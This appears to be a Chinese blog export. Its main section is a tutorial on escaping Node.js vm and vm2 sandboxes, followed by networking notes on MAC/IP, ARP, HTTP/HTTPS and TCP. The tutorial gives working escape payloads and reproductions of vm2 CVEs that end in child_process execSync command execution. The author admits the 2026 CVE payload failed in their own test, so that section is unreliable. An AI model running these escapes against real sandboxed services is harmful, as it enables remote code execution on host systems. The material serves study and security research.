    0x00 前置知识：Node.js 作用域与沙箱的本质

    和之前做的python环境沙箱逃逸原理一模一样 但其实vm本来就不是一个安全机制 只是可以用来做一下效果不好的“隔离”。

    • 沙箱机制：沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部，隔离有害程序。

    • Node.js 作用域（Context）：在 Node.js 中，每一个文件（包）都有一个自己的上下文，包之间的作用域是互相隔离不互通的。所有包都共享一个最高级别的全局对象 global（挂载了 process、console 等）。

    • 为什么不用 eval？ eval() 容易导致当前作用域的变量污染；而 new Function 虽然能隔离，但外部变量传参非常麻烦。因此 Node.js 提供了 vm 模块来开辟独立上下文。

    0x01 原生 vm 模块基础 API

    • vm.runInThisContext(code)：在当前 global 下创建作用域，能访问 global，不能访问当前包的局部变量。

    • vm.createContext([sandbox])：将一个普通对象“上下文化”，使其成为后续代码运行的全局对象。

    • vm.runInNewContext(code[, sandbox])：直接传入代码和沙箱对象，编译并在新上下文中运行。

    0x02 基础逃逸：利用 this 与原型链

    1. this 到底指向谁？

    在 vm.runInNewContext(code, context) 中，沙箱内部的 this 默认指向传入的 context（上下文对象）。

    JavaScript

    1
    2
    3
    4
    5
    const vm = require('vm');
    const context = { name: 'myContext' };
    // this 指向了 runInNewContext 提供的上下文 context
    const result = vm.runInNewContext(`this.name`, context);  
    console.log(result);  // 输出 'myContext'

    2. 经典的 Constructor 逃逸

    如果宿主环境传入了一个普通的对象（哪怕是空对象 {}），这个对象也是在宿主环境中创建的。它的底层构造函数（Constructor）依然属于宿主。

    我们可以通过 this 顺藤摸瓜：

    1. this -> 宿主传进来的 context 对象。

    2. this.constructor -> 宿主环境的 Object。

    3. this.constructor.constructor -> 宿主环境的 Function。

    既然拿到了宿主环境的 Function，我们就可以动态执行代码，并返回宿主的 process 对象：

    JavaScript

    1
    2
    3
    4
    // 逃逸 Payload
    const y1 = this.constructor.constructor('return process')();
    // 拿到 process 后，执行系统命令
    y1.mainModule.require('child_process').execSync('whoami').toString();

    (注：有时也可以用 this.toString.constructor 达到同样的效果，因为 toString 也是宿主环境的方法。)

    避坑提示： 如果传入沙箱的 context 是基本类型（如数字、字符串），它们传递的是值而不是引用，沙箱内无法利用。

    0x03 危险的上下文（Context）

    有时开发者缺乏安全意识，会直接将敏感对象传入沙箱。这种情况下，甚至不需要原型链，直接调用即可。

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    const vm = require('vm');

    // 宿主创建了一个包含危险对象的上下文
    const context = {
      myProcess: process,  // 将全局的 process 传入
      myRequire: require,  // 将 require 传入
    };
     
    const code = 'myProcess.mainModule.require("child_process").execSync("whoami").toString()';
    console.log(vm.runInNewContext(code, context));

    0x04 进阶防御与挑战：Object.create(null)

    为了防御上述的 this.constructor 攻击，聪明的开发者开始使用 Object.create(null) 来创建上下文。

    JavaScript

    1
    2
    3
    4
    5
    const vm = require('vm');
    const script = `this.constructor.constructor('return process')()`;
    const sandbox = Object.create(null); // 创建一个没有原型链的极简对象
    const context = vm.createContext(sandbox);
    const res = vm.runInContext(script, context); // 这里会报错！

    为什么失效了？ 因为 Object.create(null) 创建的对象没有原型（__proto__ 为 undefined）。沙箱内的 this 无法调用 .constructor，第一条路被彻底堵死。

    0x05 无上下文逃逸：神技 arguments.callee.caller

    面对 Object.create(null)，原型链断了怎么办？我们可以利用 JavaScript 的调用栈特性。

    核心利器：arguments.callee.caller > 它可以返回当前函数的调用者。如果我们在沙箱里设下埋伏，诱导沙箱外的“宿主”来调用沙箱里的函数，那么 caller 就会指向宿主环境中的对象！

    技巧 A：重写 __toString 诱导宿主

    思路：在沙箱中返回一个对象，重写它的 toString 方法。当宿主环境尝试将这个返回值与字符串拼接（例如 console.log('Hello ' + res)）时，会隐式触发 toString。 此时，是宿主环境（外）触发了 toString（内），caller 成功捕获宿主。

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    const vm = require('vm');
    const script = `(() => {
        const a = {};
        a.toString = function () {
            // 捕获沙箱外的调用者
            const cc = arguments.callee.caller;
            // 顺着调用者拿到宿主的 process
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
        return a; // 将恶意对象返回给外部
    })()`;
     
    const sandbox = Object.create(null);
    const context = new vm.createContext(sandbox);
    const res = vm.runInContext(script, context);
    // 宿主无意中拼接字符串，触发了陷阱！
    console.log('Hello ' + res);

    技巧 B：使用 Proxy 拦截任意属性

    思路：返回一个 Proxy（代理）对象。只要宿主环境尝试读取返回结果的任何属性（如 res.abc），就会触发 get 钩子，同样可以捕获 caller。

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    const vm = require("vm");
    const script = `(() =>{
        const a = new Proxy({}, {
            get: function(){
                const cc = arguments.callee.caller;
                const p = (cc.constructor.constructor('return process'))();
                return p.mainModule.require('child_process').execSync('whoami').toString();
            }
        })
        return a;
    })()`;
    const sandbox = Object.create(null);
    const context = new vm.createContext(sandbox);
    const res = vm.runInContext(script, context);
    console.log(res.abc); // 宿主读取属性，触发 get 陷阱！

    技巧 C：终极形态——主动抛出异常（Error 逃逸）

    思路：以上两种方法都需要宿主配合（拼接字符串或读取属性）。如果宿主仅仅是捕获了异常并打印呢？ 我们可以在沙箱中直接 throw（抛出）一个带有 Proxy 的错误对象。当宿主环境 catch(e) 并尝试将错误信息 e 打印出来时（字符串拼接），就会触发逃逸。

    JavaScript

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    const vm = require("vm");
    const script = `
        // 主动抛出 Proxy 错误
        throw new Proxy({}, {
            get: function(){
                const cc = arguments.callee.caller;
                const p = (cc.constructor.constructor('return process'))();
                return p.mainModule.require('child_process').execSync('whoami').toString();
            }
        })
    `;
    try {
        vm.runInContext(script, vm.createContext(Object.create(null)));
    } catch(e) {
        // 宿主打印错误信息，字符串拼接触发 get 钩子
        console.log("error:" + e); 
    }

    然后自己搞了个环境 用最基础的payload跑通

    1
    2
    3
    4
    5
    6
    7
    8
    const vm = require('vm');

    console.log("xiexie");

    const sandbox = {
        user: 'xiexie'
    };
    vm.createContext(sandbox);

    payload如下

    1
    2
    3
    4
    5
    6
    7
    8
    // a. 获取沙箱的全局对象 (this 指向 sandbox)
    // b. 拿到宿主环境的 Object 构造函数 (this.constructor)
    // c. 拿到宿主环境的 Function 构造函数 (this.constructor.constructor)
    // d. 动态创建一个函数并立刻执行，返回宿主的 process 对象
    const hostProcess = this.constructor.constructor('return process')();

    // e. 拿到 process 后，引入 child_process 模块执行系统命令
    hostProcess.mainModule.require('child_process').execSync('calc');


    也是执行完这里就系统调用出了计算机 当然什么命令都是可以执行的

    vm2

    既然原生的 Context 隔离像筛子一样漏风，vm2 的作者决定在这个“玻璃房”外面，用 JavaScript 的高级特性生生浇筑出一堵“铁墙”。

    对比 vm1，vm2 做了以下三次史诗级的升级：

    升级一：ES6 Proxy 代理之墙

    原生 vm 允许你直接触摸宿主传进来的对象。而 vm2 引入了 ES6 的 Proxy 对象。 在 vm2 中，任何跨越沙箱边界的对象，都会被强制套上一层 Proxy 壳子。

    • 当你试图在沙箱里访问 this.constructor 时：

      • 原生 vm：直接返回宿主的 Function 构造器 -> RCE 成功。

      • vm2：触发 Proxy 的 get 拦截器。vm2 的源码会检查：“你想访问 constructor？危险！”，然后返回一个沙箱内部的安全 Function，或者直接抛出异常 -> 逃逸失败。

    升级二：Contextify 与 Decontextify

    vm2 在源码中实现了两个极其复杂的对象转换函数，相当于沙箱与宿主之间的“海关”。

    • Contextify（沙箱化）： 当宿主的对象/函数进入沙箱时，必须经过 Contextify。它会把宿主对象的敏感属性全部过滤，并包上 Proxy，变成一个“安全”的伪造对象。

    • Decontextify（去沙箱化）： 当沙箱的对象（比如函数的返回值）要输出给宿主时，必须经过 Decontextify。防止沙箱在返回值里埋地雷（比如我们在 0x04 讲过的，返回一个重写了 toString 的恶意对象来反向捕获宿主）。

    升级三：重写危险的内置 API (sandbox.js)

    在原生 vm 中，如果你不小心把 global 传进去，沙箱就能直接用 setTimeout、Buffer 等内置模块搞事情。 vm2 为了防患于未然，在源码的 sandbox.js 中，直接**重写并 mock（模拟）**了大量的 Node.js 内置对象：

    • 它不给你真实的 Buffer，而是给你一个被阉割过的安全 Buffer。

    • 它劫持了 setTimeout 和 setInterval，防止你利用定时器逃逸。

    • 彻底屏蔽 process 和 require

    还是有洞 下面复现危害很大的几个CVE

    1. CVE-2019-10761：极限爆栈（Call Stack Overflow）逃逸

    • 复现环境： Node.js v12.x 或 v14.x

    • 安装命令： npm install vm2@3.6.10

    这个漏洞的精髓在于**“利用 V8 引擎底层的物理限制”。 我们无法通过正常的 Proxy 访问外部对象，但我们可以逼迫**外部函数在执行时抛出错误。当调用栈（Call Stack）达到 V8 的最大深度（通常是 10000 左右）时，如果恰好轮到宿主的函数（如 Buffer.prototype.write）入栈，引擎会直接抛出属于宿主环境的 RangeError: Maximum call stack size exceeded 对象。我们在沙箱里 catch 住它，就拿到了宿主的 constructor。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    "use strict";
    const { VM } = require('vm2');

    const untrusted = `
    const f = Buffer.prototype.write; // 目标：宿主函数
    const ft = { length: 10, utf8Write(){} };

    function r(i){
        var x = 0;
        try { x = r(i); } catch(e){} // 疯狂递归逼近爆栈临界点
        if(typeof(x) !== 'number') return x;
        if(x !== i) return x + 1;
        try {
            f.call(ft); // 在爆栈的最后一刻，调用宿主函数！
        } catch(e) {
            return e; // 成功拿到宿主的 Error 对象
        }
        return null;
    }
    var i = 1;
    while(1){
        try {
            // 拿到宿主异常对象后，常规连招 RCE
            i = r(i).constructor.constructor("return process")();
            break;
        } catch(x) { i++; }
    }
    i.mainModule.require("child_process").execSync("calc"); // Mac 换 open -a Calculator
    `;

    try {
        new VM().run(untrusted);
    } catch(x) { console.log(x); }

    2. CVE-2021-23449：动态 import() 语法层逃脱

    • 复现环境： Node.js v14.x

    • 安装命令： npm install vm2@3.9.3

    vm2 通过重写 require 和 Proxy 拦截了绝大部分模块导入。但是，作者忽略了 ES6 新增的动态 import()。import() 在 JS 规范中是一个底层的语法关键字，而不是普通的内置函数。vm2 当时没有对 import() 返回的 Promise 对象套 Proxy。沙箱代码一执行 import()，返回的直接就是裸露的宿主 Promise 对象，降维打击瞬间完成。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    const { VM } = require('vm2');
    const vm = new VM();

    // 我们甚至不需要 foo.js 存在，因为即使抛出异常，返回的 Promise 也是宿主的
    const code = `
        let res = import('./foo.js');
        // res 是宿主 Promise，其 toString 也是宿主的方法
        res.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");
    `;

    vm.run(code);

    3. CVE-2023-29017：Error.prepareStackTrace 底层泄露

    • 复现环境： Node.js v18.x (强烈建议 v18.16.0 左右)

    • 安装命令： npm install vm2@3.9.14

    这是 2023 年把 vm2 逼上绝路的关键 CVE。当处理未捕获的异步异常时，V8 会在底层调用 Error.prepareStackTrace 来格式化堆栈。在这个极其偏僻的底层回调中，V8 塞入了一个 frames（调用栈帧）数组。vm2 给几乎所有东西都加了 Proxy，唯独漏了这个由 V8 引擎直接抛给回调的 frames 数组。攻击者只需劫持这个裸露的数组，就能顺着 constructor 爬出去。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    const { VM } = require('vm2');
    const vm = new VM();

    const payload = `
        const err = new Error();
        err.name = {
            toString: new Proxy(() => "", {
                apply(target, thiz, args) {
                    // 这里的 args 就是 V8 漏给我们的未代理的宿主 frames
                    const hostProcess = args.constructor.constructor("return process")();
                    hostProcess.mainModule.require("child_process").execSync("calc");
                    return "Pwned!";
                }
            })
        };
        try { err.stack; } catch (al) { } // 触发栈格式化
    `;

    vm.run(payload);

    4. CVE-2026-22709 —— globalPromise 劫持

    • 复现环境： Node.js v20.x 或以上

    • 安装命令： npm install vm2@3.10.0 （漏洞影响 3.10.1 及更早版本，在 3.10.2 中被修复）

    这个是最近的漏洞 影响还是挺大的 该漏洞的根本原因在于：JavaScript 中的 async 函数返回的是底层的 globalPromise 对象，而不是 vm2 内部经过安全净化的 localPromise。 vm2 在 lib/setup-sandbox.js 中严密过滤了 localPromise.prototype.then 的回调函数，却忘了净化 globalPromise.prototype.then 和 catch。

    如何利用？既然 catch 回调没被过滤，攻击者可以重写 Function.prototype.call，直接拦截全局 Promise 调用 catch 时的底层执行过程 (globalPromiseCatch.call())。在拦截器中，攻击者绕过了 ensureThis() 检查，直接捕获到保留着宿主 Error 引用的未净化异常对象！

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    const { VM } = require('vm2');
    const vm = new VM();

    const payload = `
        let hostProcess;
        
        // 1. 劫持 Function.prototype.call，设下拦截网
        const originalCall = Function.prototype.call;
        Function.prototype.call = function(...args) {
            // args[1] 是传入 catch 的 error 对象
            const target = args[1];
            
            // 如果抓到了漏网的宿主 Error 对象
            if (target && target.constructor && target.constructor.name === 'Error') {
                try {
                    // 祖传技能：连环 constructor 拿 process
                    hostProcess = target.constructor.constructor('return process')();
                } catch(e) {}
            }
            return originalCall.apply(this, args);
        };

        // 2. 构造 async 函数，强制返回未净化的 globalPromise
        async function trigger() {
            throw new Error("2026_Sandbox_Bypass");
        }

        // 3. 触发未受保护的 globalPromise.prototype.catch
        trigger().catch(err => {});
        
        // 4. 收割宿主权限
        if (hostProcess) {
            hostProcess.mainModule.require('child_process').execSync('calc');
        }
    `;

    vm.run(payload);

    不知道为什么啊 按理说应该可以在比较新的node版本里面复现的 但是这里不行 后面再研究一下

    参考 https://wlaq.njupt.edu.cn/2026/0208/c14800a297032/page.htm
    https://www.cnblogs.com/zpchcbd/p/16899212.html
    https://xz.aliyun.com/news/11305

    ]]>     http://47.109.24.42/2026/03/03/npm%E4%BD%BF%E7%94%A8%E5%92%8Cvm%E6%B2%99%E7%AE%B1/ 2026-03-03T05:00:00.000Z nmp使用

    这里去看官网的详细指令还有民间大佬的精髓总结
    NPM (Node Package Manager) 不仅仅是]]>

    npm使用和vm沙箱 2026-03-03T05:00:00.000Z     xiexie 网络世界的坐标系 MAC地址与IP地址

    一、 核心架构：为什么需要物理与逻辑两套寻址体系？

    在网络工程架构中，MAC 地址与 IP 地址的共存并非冗余，而是为了解决网络规模扩展时的寻址效率与物理硬件解耦问题。

    1. MAC 地址（物理寻址，平面架构）：工作在数据链路层。MAC 地址是扁平化的（Flat Addressing），它仅唯一标识网络节点的硬件接口（网卡 NIC），不包含任何拓扑位置信息。如果互联网仅依赖 MAC 地址进行路由，全球所有的路由器必须维护一张包含数十亿条目的转发表，这在内存寻址和路由收敛上是完全不可行的。

    2. IP 地址（逻辑寻址，层次化架构）：工作在网络层。IP 地址是层次化的（Hierarchical Addressing），包含了网络前缀（Network Prefix）和主机标识（Host ID）。路由器仅需根据网络前缀进行聚合路由（如 BGP 路由表），大幅降低了路由表的规模。

    结论：IP 地址负责提供端到端（End-to-End）的全局路由拓扑定位，而 MAC 地址负责在单跳（Hop-by-Hop）的局域网物理介质中完成帧的精确交付。

    二、 MAC 地址 (Media Access Control Address)

    MAC 地址是数据链路层中以太网（IEEE 802.3）和 Wi-Fi（IEEE 802.11）等网络技术的硬件标识。

    1. 结构与格式

    MAC 地址长度为 48 bits（6 字节），通常以十六进制表示（如 00:1A:2B:3C:4D:5E）。它被严格划分为两部分：

    • OUI (Organizationally Unique Identifier，24 bits)：组织唯一标识符，由 IEEE 分配给硬件制造商。

    • UAA (Universally Administered Address，24 bits)：厂商自行分配的流水号。

    首字节控制位深度解析：

    OUI 的第一个字节的最低两位具有特殊的控制指令含义：

    • I/G 位 (Individual/Group, 第 0 位)：0 表示单播（Unicast）地址，1 表示组播（Multicast）或广播（Broadcast）地址（如 FF:FF:FF:FF:FF:FF）。

    • U/L 位 (Universal/Local, 第 1 位)：0 表示全局唯一（出厂烧录），1 表示本地管理（Local Administered）。当操作系统通过软件修改 MAC 地址时，通常会将此位置 1。

    2. 交换机转发机制 (CAM 表)

    局域网内的二层交换机通过维护 MAC 地址表（CAM 表，内容寻址存储器） 实现精确转发。

    • 源地址学习：当帧进入交换机端口时，交换机记录帧的源 MAC 地址与入端口的映射关系。

    • 未知单播泛洪 (Unknown Unicast Flooding)：当目标 MAC 地址不在 CAM 表中时，交换机会将该帧复制并向除入端口外的所有端口广播。

    安全风险：MAC 泛洪攻击 (MAC Flooding)

    攻击者伪造大量具有随机源 MAC 地址的以太网帧发送给交换机，耗尽 CAM 表内存空间。此时交换机将退化为集线器（Hub），对所有数据帧进行泛洪处理，攻击者借此可进行局域网流量嗅探。防御方案通常为配置端口安全（Port Security），限制单端口允许学习的 MAC 数量。

    三、 IP 地址 (Internet Protocol Address)

    IP 地址是网络层的核心，用于跨越不同异构网络的端到端通信。目前主流版本为 IPv4 与 IPv6。

    1. IPv4 与无类域间路由 (CIDR)

    IPv4 地址长度为 32 bits，采用点分十进制表示。现代网络已废弃传统的 A/B/C 类地址划分，全面采用 CIDR（无类域间路由）。

    • 子网掩码 (Subnet Mask)：用于通过按位与（Bitwise AND）运算，将 IP 地址划分为网络地址与主机地址。

    • CIDR 记法：如 192.168.1.100/24，表示前 24 位为网络前缀。

    显示可视化演示

    高频安全测试/特殊 IPv4 地址：

    • 127.0.0.0/8：本地回环接口（Loopback）。数据包不会触碰物理网卡，由操作系统网络栈直接内部处理。

    • 169.254.0.0/16：链路本地地址（APIPA）。在云原生安全（如 AWS/Aliyun）中，169.254.169.254 经常被部署为实例元数据服务（IMDS），是 SSRF（服务端请求伪造） 漏洞获取高权限凭证的重点攻击目标。

    • 私有网段（RFC 1918）：10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16。需配合 NAT 技术访问公网。

    2. IPv6：下一代互联网协议

    IPv6 地址长度扩展至 128 bits，采用冒号十六进制表示，从根本上解决了 IPv4 地址枯竭问题。

    格式简化规则：

    1. 每组前导零可省略（如 0DB8 可写为 DB8）。

    2. 连续的全零组可使用双冒号 :: 替代（一个地址中仅允许使用一次）。

    核心地址类型：

    • 全局单播地址 (Global Unicast)：类似于 IPv4 公网地址，前缀通常为 2000::/3。

    • 链路本地地址 (Link-Local)：以 fe80::/10 开头。IPv6 要求每个接口必须具备链路本地地址，用于同一链路内的邻居发现（NDP）和路由发现。

    • 组播地址 (Multicast)：以 ff00::/8 开头。IPv6 废弃了广播（Broadcast），所有的广播功能均由组播替代，降低了网络整体的干扰。

    SLAAC 与 EUI-64：

    IPv6 支持无状态地址自动配置（SLAAC）。主机可利用路由器的前缀通告（RA），结合自身 MAC 地址生成接口标识符（EUI-64 规范：在 48 位 MAC 地址中间插入 FF:FE 并翻转第 7 位控制位），自动组装成 128 位全局可达地址。

    四、 ARP 协议 (Address Resolution Protocol)

    在同一局域网内，网络层封装完成 IP 数据报后，数据链路层需要知道目标硬件的 MAC 地址才能进行帧的物理发送。ARP 协议（RFC 826）即扮演了将 IP 地址解析为 MAC 地址的桥梁角色。

    1. ARP 交互流程

    1. ARP Request（广播）：主机 A 查询路由表，发现目标 IP 192.168.1.2 位于同网段。A 封装 ARP 请求报文，以广播 MAC 地址 FF:FF:FF:FF:FF:FF 发送：“谁是 192.168.1.2？请将你的 MAC 地址回复给 192.168.1.1。”

    2. ARP Reply（单播）：主机 B 收到广播后，发现目标 IP 与自身匹配。B 封装 ARP 应答报文，直接单播回复主机 A：“我是 192.168.1.2，我的 MAC 地址是 00:1A:2B:XX:XX:XX。”

    3. ARP Cache：主机 A 收到回复后，将该 IP-MAC 映射关系写入本地 ARP 缓存表，并在随后的数据传输中直接调用。

    2. 免费 ARP (Gratuitous ARP)

    发送方主动发送目标 IP 为自身 IP 的 ARP 请求包。主要用于：

    • IP 冲突检测：主机刚分配到 IP 时，探测局域网内是否有设备使用了相同 IP。

    • 高可用性集群 (HA) 故障转移：当备用服务器接管主服务器的 VIP（虚拟 IP）时，主动发送免费 ARP 刷新全网交换机和主机的 ARP 缓存表。

    安全风险：ARP 欺骗 (ARP Spoofing/Poisoning)

    ARP 协议是**无状态（Stateless）**且缺乏身份验证机制的。攻击者可向目标主机发送伪造的 ARP Reply 报文，宣称自己是网关。目标主机接收后会覆写本地 ARP 缓存，导致后续所有的公网出口流量被劫持到攻击者机器，形成中间人攻击（MITM）。

    五、 数据转发的全过程推演 (路由机制)

    理解网络通信的核心，在于明确数据包在穿越异构网络时，各层头部的动态变化规律。

    场景设定：主机 PC (192.168.1.100, MAC_A) 请求公网服务器 S (8.8.8.8, MAC_S)，途经本地网关路由器 R (内网接口 MAC_R1，外网接口 MAC_R2)。

    步骤 1：主机端路由决断与封装

    1. 网络层决断：PC 将目标 IP 8.8.8.8 与本地子网掩码进行按位与运算，发现目标不在本地网段。

    2. 查路由表：PC 查找本地路由表，命中默认路由（0.0.0.0/0），确认下一跳 IP 为网关地址 192.168.1.1。

    3. 数据链路层封装：PC 通过 ARP 缓存获取网关 MAC_R1。封装数据帧：

      • 源 IP：192.168.1.100 | 目的 IP：8.8.8.8

      • 源 MAC：MAC_A | 目的 MAC：MAC_R1

    步骤 2：路由器解封装与跳步转发 (Hop-by-Hop)

    1. 解帧与校验：网关路由器 R 收到物理信号，校验帧的目的 MAC 为 MAC_R1，接收该帧并剥离以太网帧头。

    2. 路由查表：路由器提取 IP 数据报，检查目的 IP 8.8.8.8，依据自身路由表（利用最长前缀匹配原则）确定出接口及下一跳路由器的 IP。

    3. 重写帧头并发送：路由器 R 通过其外网接口所在的网络重新封装数据链路层帧。此时关键变化发生：

      • 源 IP：192.168.1.100 （保持不变，暂不考虑 NAT 转换） | 目的 IP：8.8.8.8 （保持不变）

      • 新源 MAC：MAC_R2 （路由器的外网接口 MAC） | 新目的 MAC：下一跳路由器的 MAC

    核心路由定律：

    在端到端的网络通信中（忽略 NAT 穿透场景），网络层 IP 报文的源与目的 IP 始终保持不变，用于标识通信的绝对起点与终点；而数据链路层的源与目的 MAC 地址在每一次经过路由器（每一跳）时，均会被剥离并重写，用于指引当前物理链路的传输方向。

    六、 总结与对比矩阵

    维度**MAC 地址 **IP 地址
    工作层次数据链路层网络层
    寻址范围单一物理网段 / 广播域内全球异构网络互联 / 端到端跨网
    地址属性扁平化架构，固化于硬件 (可软件伪造)层次化架构，基于拓扑动态分配
    长度与格式48 bits (十六进制)IPv4: 32 bits / IPv6: 128 bits
    传输动态逐跳重写 (Hop-by-Hop Rewritten)端到端保持不变 (End-to-End Preserved)
    解析关联通过 ARP 将已知 IP 解析为 MAC通过 DNS 将域名解析为 IP
    典型安全威胁MAC Spoofing, MAC 泛洪, ARP 欺骗IP Spoofing, SSRF, DDoS

    HTTP与HTTPS

    一、 HTTP 协议基础与报文解构

    HTTP 是一种无状态（Stateless）、基于文本的请求-响应（Request-Response）协议。它通常运行在 TCP 协议之上（HTTP/3 除外，运行在基于 UDP 的 QUIC 之上），默认端口为 80。

    1. HTTP 报文的字节级结构

    HTTP 的解析高度依赖于回车换行符（CRLF，即 \r\n）。无论是请求还是响应，报文均被严格划分为四个部分：

    以一个真实的 HTTP/1.1 GET 请求为例（Raw 数据）：

    HTTP

    1
    2
    3
    4
    5
    6
    7
    GET /api/v1/user/profile?id=1001 HTTP/1.1\r\n
    Host: api.example.com\r\n
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\r\n
    Accept: application/json\r\n
    Authorization: Bearer eyJhbGciOiJIUzI1NiIs...\r\n
    \r\n
    (此处为请求体 Message Body，GET 请求通常为空)

    结构逐行拆解：

    1. 请求行 (Request Line)：方法 URI 协议版本\r\n。定义了动作的意图。

    2. 请求头 (Headers)：以 Key: Value\r\n 的格式呈现，提供关于请求的元数据。在 HTTP/1.1 中，Host 字段是唯一强制要求的请求头（用于单台物理服务器处理多个虚拟主机域名）。

    3. 空行 (Blank Line)：一个孤立的 \r\n。这是 HTTP 协议的边界标识符，告诉解析引擎：“头部结束，下面是正文数据”。

    4. 请求体 (Body)：实际传输的业务数据（如 JSON、表单数据）。

    响应报文结构（Response）：

    HTTP

    1
    2
    3
    4
    5
    6
    HTTP/1.1 200 OK\r\n
    Date: Fri, 27 Feb 2026 08:00:00 GMT\r\n
    Content-Type: application/json; charset=utf-8\r\n
    Content-Length: 45\r\n
    \r\n
    {"status":"success","data":{"username":"admin"}}

    响应报文的首行被称为状态行 (Status Line)，包含协议版本、状态码（Status Code）及其简短描述（Reason Phrase）。

    2. HTTP 的致命缺陷：明文传输

    HTTP 设计之初并未考虑复杂的网络安全威胁，所有数据（包括 Cookie、Authorization 凭证、个人隐私）在 TCP 连接中均以**明文（Plaintext）**形式流动。这导致其面临三大核心威胁：

    1. 窃听风险 (Eavesdropping)：中间节点（路由器、代理、运营商）可轻易使用 Wireshark 等工具截获数据包，获取敏感凭证。

    2. 篡改风险 (Tampering)：中间人可拦截并修改报文内容（如运营商劫持注入广告、恶意篡改支付金额），通信双方无法察觉。

    3. 冒充风险 (Spoofing)：缺乏身份验证机制，客户端无法确认通信的服务器是否为真实的宿主（如 DNS 劫持导致的钓鱼网站）。

    二、 HTTPS 的安全基石：TLS 密码学体系

    为了解决上述三大威胁，HTTPS 应运而生。HTTPS 并非一个全新的协议，而是 HTTP 运行在 TLS (Transport Layer Security，传输层安全协议) 及其前身 SSL 之上。默认端口为 443。

    TLS 构建了一个防窃听、防篡改、防伪造的安全隧道。其底层依赖于现代密码学的三大支柱：

    1. 对称加密 (Symmetric Cryptography) —— 解决窃听

    • 原理：加密和解密使用同一把密钥（如 AES、ChaCha20 算法）。

    • 优势：计算速度极快，适合海量 HTTP 业务数据的加密传输。

    • 困境：如何将这把对称密钥安全地跨越不安全的互联网交到对方手里？（即密钥分发难题）。

    2. 非对称加密 (Asymmetric Cryptography) —— 解决密钥分发与身份验证

    • 原理：生成一对数学相关的密钥：公钥（Public Key，公开）与私钥（Private Key，严格保密）。公钥加密的数据仅能用私钥解密；反之，私钥加密（签名）的数据仅能用公钥解密（验签）。常见的算法包括 RSA、ECC（椭圆曲线）。

    • 在 TLS 中的应用：服务器将公钥明文发给客户端，客户端生成一个随机的“对称密钥”，用服务器的公钥加密后发给服务器。由于只有服务器拥有私钥，中间人即使截获了加密后的对称密钥也无法解密。

    • 劣势：计算极其缓慢，消耗大量 CPU 资源，因此仅用于握手阶段的密钥协商，不用于加密庞大的 HTTP 报文。

    3. 哈希算法与数字证书 (PKI 体系) —— 解决篡改与冒充

    • 哈希算法 (Hash)：如 SHA-256，将任意长度的数据映射为固定长度的摘要。结合对称密钥生成 MAC（消息认证码），保证报文完整性，防篡改。

    • 数字证书 (Digital Certificate)：如果黑客一开始就截获了通信，把自己的公钥冒充成服务器的公钥发给客户端（中间人攻击），非对称加密将形同虚设。为了防伪装，服务器必须向受信任的 CA（证书颁发机构） 申请数字证书。

      • 证书内包含：服务器的公钥、域名、有效期，以及 CA 对该证书内容的数字签名（使用 CA 的私钥加密的 Hash 值）。

      • 客户端（操作系统/浏览器）内置了根 CA 的公钥，可通过解密签名来验证证书的合法性，从而确保收到的服务器公钥是真实的。

    三、 TLS 1.2 握手全景解构 (The TLS Handshake)

    TLS 握手是 HTTPS 建立的核心阶段。它的目标是通过上述密码学工具，在极度不安全的网络环境中，让客户端与服务端安全地协商出一条唯一的主密钥（Master Secret）。

    TLS 1.2 握手核心步骤提炼：

    1. Client Hello：客户端发送支持的 TLS 版本、密码套件列表（Cipher Suites，如 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384），以及一个客户端随机数 (Client Random)。

    2. Server Hello & Certificate：服务端确认 TLS 版本和密码套件，生成一个服务端随机数 (Server Random)，并将包含其公钥的数字证书发送给客户端。

    3. Client Key Exchange：

      • 客户端验证证书合法性。

      • 客户端生成第三个随机数，称为 预主密钥 (Pre-Master Secret)。

      • 客户端使用提取出的服务器公钥对预主密钥进行非对称加密，发送给服务端。

    4. Master Secret Generation：服务端利用自己的私钥解密，获得预主密钥。此时，客户端和服务端同时拥有了三个随机数（Client Random, Server Random, Pre-Master Secret）。双方使用相同的伪随机函数（PRF），结合这三个随机数计算出最终的对称加密密钥——主密钥 (Master Secret/Session Key)。

    5. Finished：双方互发 Finished 消息（被主密钥加密），验证加密通道连通性。随后正式开始 HTTP 应用层数据的对称加密传输。

    四、 总结与对比

    维度HTTPHTTPS
    协议栈层次Application (应用层)Application (基于 TLS 安全隧道)
    默认端口TCP 80TCP 443
    数据状态明文 (Plaintext)密文 (Ciphertext, 对称加密)
    连接建立开销TCP 三次握手 (1-RTT)TCP 握手 + TLS 握手 (通常需 3-RTT，TLS 1.3 优化至 2-RTT)
    身份验证机制无验证 (极易遭受 DNS/ARP 劫持)PKI 数字证书体系 (强制校验服务器身份)
    性能消耗极低存在 CPU 密码学计算开销（现代硬件下影响极小）
    现代协议演进HTTP/1.1 (Keep-Alive, 队头阻塞问题)HTTP/2 (多路复用, 必须强制开启 TLS), HTTP/3 (QUIC, 放弃 TCP 转向 UDP)

    TCP的握手挥手

    TCP 运行在传输层，其核心设计目标是提供面向连接的、可靠的、基于字节流的传输服务。

    1. TCP 报文首部核心字段解构

    TCP 通过复杂的报文头部来实现其控制逻辑，标准头部长度为 20 字节。

